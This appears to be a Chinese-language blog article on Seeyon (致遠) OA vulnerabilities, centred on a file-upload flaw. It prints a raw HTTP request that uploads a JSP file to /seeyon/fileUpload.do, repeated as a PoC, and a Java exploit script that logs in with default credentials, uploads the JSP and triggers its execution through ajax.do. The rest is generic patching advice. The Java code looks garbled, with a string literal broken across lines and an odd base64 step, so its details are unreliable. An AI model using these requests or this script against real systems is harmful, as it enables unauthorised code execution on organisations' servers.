一、致遠OA漏洞總結
致遠OA是一款功能強大、易於使用的協同辦公系統,企業和政府機構廣泛採用。但是,由於漏洞問題,致遠OA系統面臨諸多安全風險。致遠OA漏洞的種類繁多,主要包括:文件上傳漏洞、SQL注入漏洞、XSS漏洞、任意文件讀取漏洞等。其中,文件上傳漏洞是致遠OA系統的一個最大漏洞。
二、致遠OA系統存在文件上傳漏洞
致遠OA系統的文件上傳漏洞主要存在於文檔資料模塊中,攻擊者可以通過該漏洞上傳一些惡意文件,導致系統安全受到威脅。致遠OA系統存在文件上傳漏洞的主要原因是,開發人員沒有對上傳文件進行足夠的過濾和檢查,導致攻擊者可以上傳任意文件,並最終導致文件執行漏洞。
以下是致遠OA系統文件上傳漏洞的一個示例:
POST /seeyon/fileUpload.do HTTP/1.1 Host: ServerIP Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Length: 583 ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <%out.println("test");%> ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="callBackFunName" test ------WebKitFormBoundaryTAIlPf6mT90VGnc3--
三、致遠OA漏洞POC
下面給出一個簡單的致遠OA文件上傳漏洞的POC:
POST /seeyon/fileUpload.do HTTP/1.1 Host: ServerIP Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Length: 583 ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="file"; filename="test.jsp" Content-Type: application/octet-stream <%out.println("test");%> ------WebKitFormBoundaryTAIlPf6mT90VGnc3 Content-Disposition: form-data; name="callBackFunName" test ------WebKitFormBoundaryTAIlPf6mT90VGnc3--
四、致遠OA漏洞利用工具
目前,公開的致遠OA漏洞利用工具比較少,但是一些黑客在利用該漏洞時常常使用自己編寫的腳本來進行利用。下面是一個Java語言編寫的POC:
import java.io.IOException; import java.io.InputStream; import java.net.HttpURLConnection; import java.net.URL; import java.nio.charset.Charset; import java.util.concurrent.TimeUnit; import org.apache.commons.codec.binary.Base64; public class Poc { public static void main(String[] args) throws Exception { String file = "<%out.print(\"test1\");%>"; String uploadUrl = "http://127.0.0.1/seeyon/fileUpload.do"; String userName = "admin"; String password = "123456"; String seeyonCookie = ""; System.out.println("[+] Login..."); String sessionId = login(userName, password); seeyonCookie = "JSESSIONID=" + sessionId; System.out.println("[+] Upload file..."); String fileId = uploadFile(uploadUrl, seeyonCookie, file); if (fileId != null) { System.out.println("[+] Execute code..."); executeCode(fileId, seeyonCookie); } } public static String login(String userName, String password) throws Exception { String url = "http://127.0.0.1/seeyon/loginController.do?method=login"; String data = "login_username=" + userName + "&login_password=" + password; byte[] payload = data.getBytes(); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setInstanceFollowRedirects(false); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "application/x-www-form-urlencoded"); conn.setRequestProperty("Content-Length", String.valueOf(payload.length)); conn.setDoOutput(true); conn.getOutputStream().write(payload); String setCookie = conn.getHeaderField("Set-Cookie"); String sessionId = setCookie.split(";")[0].split("=")[1]; return sessionId; } public static String uploadFile(String url, String seeyonCookie, String file) throws Exception { String boundary = "----WebKitFormBoundary" + System.currentTimeMillis(); byte[] header = ("--" + boundary + "\r\nContent-Disposition: form-data; name=\"file\"; filename=\"test.jsp\"\r\nContent-Type: application/octet-stream\r\n\r\n").getBytes(); byte[] footer = ("\r\n--" + boundary + "--\r\n").getBytes(); byte[] payload = Base64.encodeBase64(file.getBytes(Charset.forName("GBK"))); byte[] data = new byte[header.length + payload.length + footer.length]; System.arraycopy(header, 0, data, 0, header.length); System.arraycopy(payload, 0, data, header.length, payload.length); System.arraycopy(footer, 0, data, header.length + payload.length, footer.length); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Connection", "keep-alive"); conn.setRequestProperty("Content-Length", String.valueOf(data.length)); conn.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary); conn.setRequestProperty("Accept-Encoding", "gzip, deflate"); conn.setRequestProperty("Cookie", seeyonCookie); conn.setDoOutput(true); conn.getOutputStream().write(data); InputStream inputStream = conn.getInputStream(); byte[] response = new byte[1024]; inputStream.read(response); String fileId = new String(response, Charset.forName("GBK")).split(";")[0]; if (fileId.contains("error")) { System.out.println("[-] Upload file error!"); return null; } return fileId; } public static void executeCode(String fileId, String seeyonCookie) throws IOException { String url = "http://127.0.0.1/seeyon/ajax.do"; byte[] payload = ("callCount=1\nwindowName=\nc0-scriptName=123456789\nc0-methodName=exeScript\nc0-id=0\nc0-param0=string:" + fileId + "\nc0-param1=string:test.jsp\nc0-param2=string:\nliteralParam=long:0\n").getBytes(Charset.forName("GBK")); HttpURLConnection conn = (HttpURLConnection) new URL(url).openConnection(); conn.setRequestMethod("POST"); conn.setRequestProperty("Content-Type", "text/plain;charset=UTF-8"); conn.setRequestProperty("Accept-Encoding", "gzip, deflate"); conn.setRequestProperty("Cookie", seeyonCookie); conn.setRequestProperty("Connection", "close"); conn.setRequestProperty("Content-Length", String.valueOf(payload.length)); conn.setDoOutput(true); conn.getOutputStream().write(payload); InputStream inputStream = conn.getInputStream(); byte[] response = new byte[1024]; inputStream.read(response); String output = new String(response, Charset.forName("GBK")).split("
")[1]; System.out.println("[+] Output: " + output.trim()); } }
五、致遠OA漏洞利用
利用致遠OA文件上傳漏洞需要掌握一些基本的滲透測試技術,同時需要了解致遠OA系統具體的漏洞利用方法。攻擊者通常會利用上傳惡意文件的方式來進行攻擊,一旦上傳成功,就可以通過漏洞執行文件、讀寫文件等操作。
六、致遠OA漏洞補丁
由於致遠OA漏洞種類繁多,補丁方案也各不相同。建議用戶在使用致遠OA系統時,儘可能及時下載安全補丁,更新到最新的版本。
七、致遠OA漏洞2022
隨著時間的推移,致遠OA漏洞問題已經成為一個長期存在的安全隱患。對於致遠OA漏洞2022,或者未來可能出現的漏洞,我們需要以更加謹慎的態度來對待,及時採取各種安全保護措施,避免出現嚴重的安全事故。
八、致遠OA Log4j漏洞補丁
致遠OA Log4j漏洞是致遠OA系統最近發現的一個重大安全漏洞,該漏洞主要源於Log4j組件的安全問題。目前,致遠OA官方已經發布了安全補丁,並懇請所有用戶儘快升級到最新版本,以免造成系統安全隱患。
九、致遠OA辦公系統
致遠OA辦公系統是一種功能強大的協同辦公系統,廣泛應用於企業和政府機構中。但是,在系統的應用和開發過程中,往往會暴露出一些漏洞和安全隱患。因此,為了保障系統的安全和穩健運行,我們需要不斷完善和加強系統的安全保護措施,減少漏洞的存在和危害。
原創文章,作者:小藍,如若轉載,請註明出處:https://www.506064.com/zh-tw/n/154363.html